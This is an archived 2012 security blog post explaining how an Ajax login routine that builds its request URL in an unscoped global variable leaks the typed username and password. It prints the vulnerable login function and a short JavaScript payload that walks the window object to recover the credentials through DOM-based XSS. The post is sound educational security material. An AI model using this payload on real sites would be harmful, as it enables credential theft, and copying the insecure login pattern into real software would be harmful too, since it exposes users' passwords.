---
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title: "Shreeraj's security blog: Password extraction from Ajax/DOM/HTML5 routine"
description: "A short note on sloppy Ajax login code: variables such as the crafted request URL are declared without scope and stay global on the DOM for the life of the page. Given a DOM XSS foothold, iterating over window and printing every string property recovers login.do?user=foo&pwd=foobar, leaking the typed username and password."
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# Shreeraj's security blog: Password extraction from Ajax/DOM/HTML5 routine

**Shreeraj's security blog: Password extraction from Ajax/DOM/HTML5 routine** - shreeraj, shreeraj.blogspot.com.

- Published: date not stated
- Original: <https://web.archive.org/web/20170903113359/http://shreeraj.blogspot.com/2012/01/password-extraction-from-ajaxdomhtml5.html>
- Current location: <https://web.archive.org/web/20150110195718/http://shreeraj.blogspot.com/2012/01/password-extraction-from-ajaxdomhtml5.html>
- Preserved from: https://web.archive.org/web/20150110195718/http://shreeraj.blogspot.com/2012/01/password-extraction-from-ajaxdomhtml5.html (live) on 2026-08-10
- Capture timestamp: 20170903113359
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Login Ajax routine is an interesting place to check for variable definition and assignments with respect to "single DOM application"/HTML5/Web2.0 framework. If variables are not created with proper scope then can be accessed as global and contain interesting information like username, password, tokens etc. Interestingly we need to do lot of JavaScript analysis with Web 2.0, Ajax, HTML5 and Single DOM applications.

 For example, here is a routine for login. It can be buried in one of the JS files but gets loaded on DOM at the point of call and remain there throughout application life cycle.

 function getLogin()

 {

 gb = gb+1;

 var user = document.frmlogin.txtuser.value;

 var pwd = document.frmlogin.txtpwd.value;

 var xmlhttp=false;

  try {

  xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");

  // other code for XHR initialization

  }

  temp = "login.do?user="+user+"&pwd="+pwd;

  xmlhttp.open("GET",temp,true);

  xmlhttp.onreadystatechange=function()

  {

  // other code on state ready change

  }

  xmlhttp.send(null);

 }

 Here, temp variable is crafting URL and posting username and password for Ajax call. It can be part of POST if going through send(). “temp” variable is very loosely defined as global and can be accessed from the DOM.

 It is easy to access those variables from DOM – Yes, need DOM based XSS but coding practice is poor over here. Payload to exploit the vulnerability…

 for(i in window){

  obj=window[i];

  try{

  if(typeof(obj)=="string"){

  console.log(i);

  console.log(obj.toString());

  }

  }catch(ex){}

 }

 You will get “temp” variable with following value - login.do?user=foo&pwd=foobar.